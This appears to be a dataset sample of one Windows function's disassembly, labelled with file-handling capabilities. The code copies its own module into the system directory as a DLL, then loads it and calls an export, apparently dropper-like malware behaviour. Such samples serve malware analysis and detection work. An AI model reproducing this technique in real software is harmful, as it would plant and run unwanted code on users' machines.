Function at 0x10006e5b
Capabilities:
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
xor ebx, ebx
mov byte [ebp - 1], bl
call fcn.10004c8f
cmp byte [0x1000f1c7], bl
je 0x100070c3
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x224]
push eax
push dword [0x100102bc]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x120]
push eax
mov byte [ebp - 0x120], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x1000bc3c
lea eax, [ebp - 0x120]
push eax
call esi
push 0x1000f1c7
lea eax, [ebp - 0x120]
push eax
call esi
push str..dll
lea eax, [ebp - 0x120]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
mov edi, 0x80
push edi
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x120]
push eax
call esi
push ebx
push edi
push 3
push ebx
push 1
mov dword [ebp - 0xc], eax
push SysReAllocString
lea eax, [ebp - 0x224]
push eax
call esi
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 0x10], edi
je 0x100070a3
cmp dword [ebp - 0xc], 0xffffffff
je 0x100070b2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
je 0x100070a3
push esi
call fcn.10003613
pop ecx
push ebx
push ebx
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 8], eax
call edi
push ebx
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000709a
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x10], 0xffffffff
cmp dword [ebp - 0x1c], ebx
je 0x1000709a
lea eax, [ebp - 0x18]
push eax
push esi
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
call fcn.10004f1f
mov eax, dword [ebp - 0x18]
add esp, 0xc
cmp eax, ebx
je 0x10006fad
push 0x27
dec eax
push eax
push 0x10010204
call fcn.100034bd
add esp, 0xc
push 1
push esi
push dword [ebp - 8]
call fcn.1000458c
add esp, 0xc
cmp dword [ebp + 8], ebx
je 0x10006fcf
push dword [ebp + 8]
push esi
push dword [ebp - 8]
call fcn.100045d8
add esp, 0xc
push 6
push esi
push dword [ebp - 8]
call fcn.100045b1
add esp, 0xc
cmp byte [0x1000e1bf], bl
je 0x1000700a
push 0x64
push 1
call fcn.1000363b
cmp eax, dword [0x10010238]
pop ecx
pop ecx
jle 0x10006ffc
push 2
jmp 0x10006ffe
push 4
push esi
push dword [ebp - 8]
call fcn.1000458c
add esp, 0xc
push 2
push ebx
push ebx
push dword [ebp - 0xc]
call edi
mov edi, eax
push ebx
lea eax, [edi + esi]
push eax
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [edi + esi]
push eax
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0xc], 0xffffffff
cmp dword [ebp - 0x14], esi
sete byte [ebp - 1]
cmp byte [ebp - 1], bl
je 0x1000709a
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x1000708c
push 0x1000bc20
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x10007085
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call fcn.100051dd
push ebx
call fcn.100051fc
pop ecx
pop ecx
push dword [ebp - 8]
call fcn.10003153
pop ecx
cmp dword [ebp - 0xc], 0xffffffff
je 0x100070b2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0xffffffff
pop edi
pop esi
je 0x100070c3
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
pop ebx
leave
ret